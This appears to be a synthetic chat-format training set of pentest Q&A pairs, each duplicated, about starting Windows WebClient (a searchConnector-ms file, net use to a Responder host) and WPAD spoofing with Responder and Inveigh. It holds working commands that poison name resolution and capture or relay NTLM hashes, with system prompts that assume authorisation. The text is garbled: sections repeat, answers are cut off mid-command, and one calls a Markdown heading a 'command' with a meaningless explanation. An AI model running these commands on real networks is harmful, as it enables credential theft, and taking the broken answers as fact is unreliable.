        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>
``

=== Explorer

By opening an interactive session with the target (e.g. RDP), opening the Explorer, and type something in the address bar.

=== Service trigger

According to tiraniddo's research, the webclient service is registered with a service trigger, meaning it can be started automatically in response to a specific system event.
A simple way to start the service in an unprivileged session is by compiling and executing the following C# PoC created by klezVirus.

=== SharpStartWebclient

By compiling and executing the SharpStartWebclient tool created by eversinc33

=== Beacon Object File

By using the following BOF (Beacon Object File) created by outflanknl.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform map the drive from the target WebClient needs to be started on?

Response:
net use x: http://$RESPONDER_IP/
``

=== searchConnector-ms

With a searchConnector-ms file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.

`xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>
``

=== Explorer

By opening an interactive session with the target (e.g. RDP), opening the Explorer, and type something in the address bar.

=== Service trigger

According to tiraniddo's research, the webclient service is registered with a service trigger, meaning it can be started automatically in response to a specific system event.
A simple way to start the service in an unprivileged session is by compiling and executing the following C# PoC created by klezVirus.

=== SharpStartWebclient

By compiling and executing the SharpStartWebclient tool created by eversinc33

=== Beacon Object File

By using the following BOF (Beacon Object File) created by outflanknl.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute map the drive from the target WebClient needs to be started on?

[Assistant]
=== searchConnector-ms

With a [searchConnector-ms](https://docs.microsoft.com/en-us/windows/win32/search/search-sconn-desc-schema-entry) file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute map the drive from the target WebClient needs to be started on?

Response:
=== searchConnector-ms

With a [searchConnector-ms](https://docs.microsoft.com/en-us/windows/win32/search/search-sconn-desc-schema-entry) file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== searchConnector-ms`?

[Assistant] This command is used for map the drive from the target webclient needs to be started on. map the drive from the target WebClient needs to be started on

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== searchConnector-ms`?

Response: This command is used for map the drive from the target webclient needs to be started on. map the drive from the target WebClient needs to be started on


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does WPAD spoofing - Theory work?

[Assistant]
A proxy can be used to handle clients requests (for example to access the Internet). In a network in which the topology changes frequently, adaptive configurations are needed. A type of proxies called "Adaptive proxies" uses a configuration script.

The Web Proxy Automatic Discovery (WPAD) protocol helps clients in finding a proxy configuration script (wpad.dat). This script gives a set of proxies that can be used, and can be located with an hostname or an URL. Various mechanisms can be used to find its location (by order of resolution):

1. WinHTTP/WinINET
2. DHCP
3. DNS
4. Internet Explorer's LAN settings, or configuration file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
A proxy can be used to handle clients requests (for example to access the Internet). In a network in which the topology changes frequently, adaptive configurations are needed. A type of proxies called "Adaptive proxies" uses a configuration script.

The Web Proxy Automatic Discovery (WPAD) protocol helps clients in finding a proxy configuration script (wpad.dat). This script gives a set of proxies that can be used, and can be located with an hostname or an URL. Various mechanisms can be used to find its location (by order of resolution):

1. WinHTTP/WinINET
2. DHCP
3. DNS
4. Internet Explorer's LAN settings, or configuration file


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WPAD spoofing - Theory

[Assistant]
A proxy can be used to handle clients requests (for example to access the Internet). In a network in which the topology changes frequently, adaptive configurations are needed. A type of proxies called "Adaptive proxies" uses a configuration script.

The Web Proxy Automatic Discovery (WPAD) protocol helps clients in finding a proxy configuration script (wpad.dat). This script gives a set of proxies that can be used, and can be located with an hostname or an URL. Various mechanisms can be used to find its location (by order of resolution):

1. WinHTTP/WinINET
2. DHCP
3. DNS
4. Internet Explorer's LAN settings, or configuration file

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WPAD spoofing - Theory

Response:
A proxy can be used to handle clients requests (for example to access the Internet). In a network in which the topology changes frequently, adaptive configurations are needed. A type of proxies called "Adaptive proxies" uses a configuration script.

The Web Proxy Automatic Discovery (WPAD) protocol helps clients in finding a proxy configuration script (wpad.dat). This script gives a set of proxies that can be used, and can be located with an hostname or an URL. Various mechanisms can be used to find its location (by order of resolution):

1. WinHTTP/WinINET
2. DHCP
3. DNS
4. Internet Explorer's LAN settings, or configuration file


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WPAD spoofing - Practice

[Assistant]
WPAD spoofing can be combined with

* LLMNR and NBT-NS spoofing
* DHCP poisoning combined (or not) with DNS spoofing
* ARP poisoning or DHCPv6 spoofing, followed by DNS spoofing

> [!TIP]
> Proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with --wredir and --ProxyAuth
> * forced and relayed with ntlmrelayx by using the --http-port 3128 argument

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WPAD spoofing - Practice

Response:
WPAD spoofing can be combined with

* LLMNR and NBT-NS spoofing
* DHCP poisoning combined (or not) with DNS spoofing
* ARP poisoning or DHCPv6 spoofing, followed by DNS spoofing

> [!TIP]
> Proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with --wredir and --ProxyAuth
> * forced and relayed with ntlmrelayx by using the --http-port 3128 argument


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform WPAD spoofing - Practice?

[Assistant]
WPAD spoofing can be combined with

* LLMNR and NBT-NS spoofing
* DHCP poisoning combined (or not) with DNS spoofing
* ARP poisoning or DHCPv6 spoofing, followed by DNS spoofing

> [!TIP]
> Proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with --wredir and --ProxyAuth
> * forced and relayed with ntlmrelayx by using the --http-port 3128 argument

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform WPAD spoofing - Practice?

Response:
WPAD spoofing can be combined with

* LLMNR and NBT-NS spoofing
* DHCP poisoning combined (or not) with DNS spoofing
* ARP poisoning or DHCPv6 spoofing, followed by DNS spoofing

> [!TIP]
> Proxy auth NTLM authentication can either be
>
> * forced and captured with Responder with --wredir and --ProxyAuth
> * forced and relayed with ntlmrelayx by using the --http-port 3128 argument


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WPAD spoofing - through LLMNR, NBT-NS spoofing

[Assistant]
On old Windows systems (i.e. lacking the MS16-077 security update), the WPAD location could be obtained through insecure name resolution protocols like LLMNR and NBT-NS when standard DNS queries were failing (i.e. no DNS record for WPAD). This allowed attackers to operate LLMNR and NBT-NS spoofing to answer those WPAD queries and redirect to a fake wpad.dat file, hence poisoning the web proxy configuration of the requesting clients, hence obtaining more traffic.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker.

::: tabs

=== UNIX-like

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

* The -w/--wpad option will make Responder start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients.
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

``bash
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP
`

=== Windows

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes (even from machine accounts) and set the Challenge to 1122334455667788 (to crack NTLM hashes with crack.sh).

* Inveigh starts a WPAD rogue proxy server by default.
* Options like -WPADAuth, -WPADAuthIgnore, -WPADIP, -WPADPort, -WPADResponse (and others) can be used to tweak the WPAD abuse.

`
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WPAD spoofing - through LLMNR, NBT-NS spoofing

Response:
On old Windows systems (i.e. lacking the MS16-077 security update), the WPAD location could be obtained through insecure name resolution protocols like LLMNR and NBT-NS when standard DNS queries were failing (i.e. no DNS record for WPAD). This allowed attackers to operate LLMNR and NBT-NS spoofing to answer those WPAD queries and redirect to a fake wpad.dat file, hence poisoning the web proxy configuration of the requesting clients, hence obtaining more traffic.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker.

::: tabs

=== UNIX-like

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

* The -w/--wpad option will make Responder start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients.
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

``bash
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP
`

=== Windows

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes (even from machine accounts) and set the Challenge to 1122334455667788 (to crack NTLM hashes with crack.sh).

* Inveigh starts a WPAD rogue proxy server by default.
* Options like -WPADAuth, -WPADAuthIgnore, -WPADIP, -WPADPort, -WPADResponse (and others) can be used to tweak the WPAD abuse.

`
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334